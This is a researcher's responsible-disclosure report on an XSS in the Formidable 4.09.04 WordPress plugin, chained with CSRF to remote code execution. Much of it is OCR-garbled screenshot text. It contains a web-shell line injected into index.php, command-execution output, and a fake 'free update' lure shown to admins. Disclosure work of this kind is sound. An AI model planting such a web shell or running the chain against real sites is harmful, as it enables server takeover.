Formidable 4.09.04
Responsible Disclosure
by Maximilian Barz

The following vulnerabilities are part of my responsible disclosure and Bug Bounty Hunt.

If your organization has a BugBounty program I would be happy receiving a little Bug Bounty. If
this is not the Case I would really appreciate if you would publish my name next to this Bug in your
next release notes as reputation is much more valuable for me than money.

Summary:

Found Vulnerabilities:
e HTML Injection
* Cross-Site-Scripting (XSS)

Affected files:
. /formidable/classes/helpers/FrmEntriesListHelper.php on Line 309

. esc_attr__( 'Permanently delete this entry?', 'formidable' ) .

Fuction: get_actions

Attack Scenarios:

Vulnerability Chain 1: XSS in Wordpress Admin Interface + Wordpress CSRF resulting in
Remote Code Execution.

PoC Videos:

* XSS PoC in Formidable 4.09.04
(https://youtu.be/kBmXCXUInPQ)

* RCE through XSS and Wordpress CSRF in Formidable 4.09.04
(https://youtu.be/kx5P6jz6SWo)

All videos are not public and just via their specified URI available
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Vulnerabilities and attack scenarios:

1. HTML Injection leading to Cross-Side-Scripting (XSS)
Formidable 4.09.04 allows to inject certain HTML Tags like
<audio>,<video>,<img>,<a> and<button>.

This could allow an unauthenticated, remote attacker to exploit a HTML-injection by
injecting a malicous link. The HTML-injection may trick authenticated users to
follow the link. If the Link gets clicked, Javascript code can be executed. The
vulnerability is due to insufficient sanitization of the ,data-frmverify“ tag for links in
the web-based entry inspection page of affected systems. A successful exploitation in
comibantion with CSRF could allow the attacker to perform arbitrary actions on an
affected system with the privileges of the user. These actions include stealing the
users account by changing his password or allowing attackers to submit their own
code through an authenticated user resulting in Remote Code Execution. If an
authenticated user who is able to edit Wordpress PHP Code in any kind, clicks the
malicious link PHP code can be edited.

See PoC Video: Video 1

Calculated CVSS: 7.0 Medium

CVE: Not requested yet. (If Formidable acknowledges the presence of the
vulnerability I will request a CVE number for it).
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Demonstration on how these vulnerabilities can be turned into
a whole system compromise using attack chains:

Attack Chain 1: XSS in Wordpress Admin Interface + Wordpress CSRF resulting in Remote Code

Execution.

This scenario demontrates how an attacker is able to complety compromise a Wordpress application

through XSS by exploiting Formidable 4.09.04 forms.

To make this attack chain work, an administrator has to be tricked into clicking a malicious link
while beeing logged in to Wordpress.

Step 1: The attacker submits a new form entry and intercepts the request for further inspection.

Text

test

Absatz

test

Senden

Formidable Form
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Burp Project Intruder Repeater Window Help

[ Dashboard | Target [#raw | ntruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options |

J Iteicept | TP history | websockets history | options

 Request to http/192.168.178.46:80
Forward Drop | Intercept is on | Action Open Browser
Raw | Params | Headers | Hex

User-Age:
Accept: text/html,app.
Accept-Language: en-U

12529850174072843370137408238

Jwordpress /index.php/2021/01/07/hallo-welt/
WP+Cookietcheck

70137409238

Content-Disposition:

reate
12929850174072843370137409238
Content-Disposition: form-data; name="form id"

4

26 Content-Dispesition: for

1 129298501740 37409233
Content-Disposition: form-data; name
test
12929850174072843370137409238
Content-Disposition: form-data; mame="item meta [0]"

2843370137409238
submit_entry 4"

12929850174072843370137409238
wp_http_referer”

Content-Disposition: form-data; name:

elt/
4072843370137409238
item metal21]"

/wordpress/index.php
Content-Disposition: for
test

3 12929850174072843370137409238
Content-Disposition: form-data; name="item meta [22]"

(NS [l (5] [search
Intercepting the request

Step 2: The attacker changes the corresponding entry fields to create a fake message
pretending coming from the developers.

42443871934486
tal24]"

Content -Di;

42443871934486

Content-Disposition: form-a: y

42443871934486
ify"

Content-Disposition: form-data; nar

Create fake message

Step 3: Attacker creates a payload which edits the index.php file to insert the following line.
(Full Payload appended in file XSS_PAYLOAD_FORMIDABLE.txt):

echo system($_GET['cmd']);
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RF in Formidable 4.

ilky. Wp-nonce: “+nonce);

#%0A+*+The+main+template+files0a++s

Injected Code

Step 4: The attacker HTML encodes the whole payload and places it inside of data-
frmverify:

window Help

il i [t i e Dl
stony | options |

2 Request to hupi92.168.175

Foward || Drop | [intarcaptison Action Open Browser

g 46
(R params [ oadurs riex |

Encoded Payload

Step 5: The Attacker sents the modified entry and waits for an Admin to inspect it.
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Step 6: Administrator logs in and inspects new form entries.

® Formular Eintrage (imvert

(9 Proftpp: Exhate

- Alle Formulare anschen - v | Fiter

Inspecting entries

Eintrag (1D 466
Text Update now to get ADD-ONS for free!

Absatz

FORMIDABLE FORMS

UPDATE MAKES
INSTALLING ADD-ONS

® Formidable

Because of our anniversary we issue  free Update for all our customers.

Injected HTML Code

Step 7: Administrator clicks the ,,Update here“ Field. This executes the injected Javascript.

XSS gets executed
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Because the user (In this case admin which is not uncommon) is authenticated and is able to edit
PHP Files, the index.php can be edited, resulting in Remote Code Execution.

Injected PHP Code

Silkys WP — Eine weitere W X =+

< c @ © /G 192.168.178.46

B3 Niitzlich Exploit-DB £3 Hacking Material Introduction - Total OS...

Themes bearbeiten

‘Twenty Twenty-One: Haupti

Silkys WP - Eine weitere WordPress-Website - Mozilla Firefox

Spawninga TTY Shell @ Reverse Shell Cheat Sh.. F30SCP

SILKYS WP

Eine weitere WordPress-Website

uid =33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

Final RCE

Impact: Critical

Compromised Systems or accounts:

* User account

In case of privileged User:
*  Wordpress Application
*  Wordpress Server

Full PoC Video: Video 2

Hallo Welt!

Willkemmen bei WordPress. Dies ist dein erster Beitrag. Bearbeite

oder &sche ihn und beginne mit dem Schreiben!

Veréffentlicht am 7. Januar 2021
Kategorisiert in Allgemein
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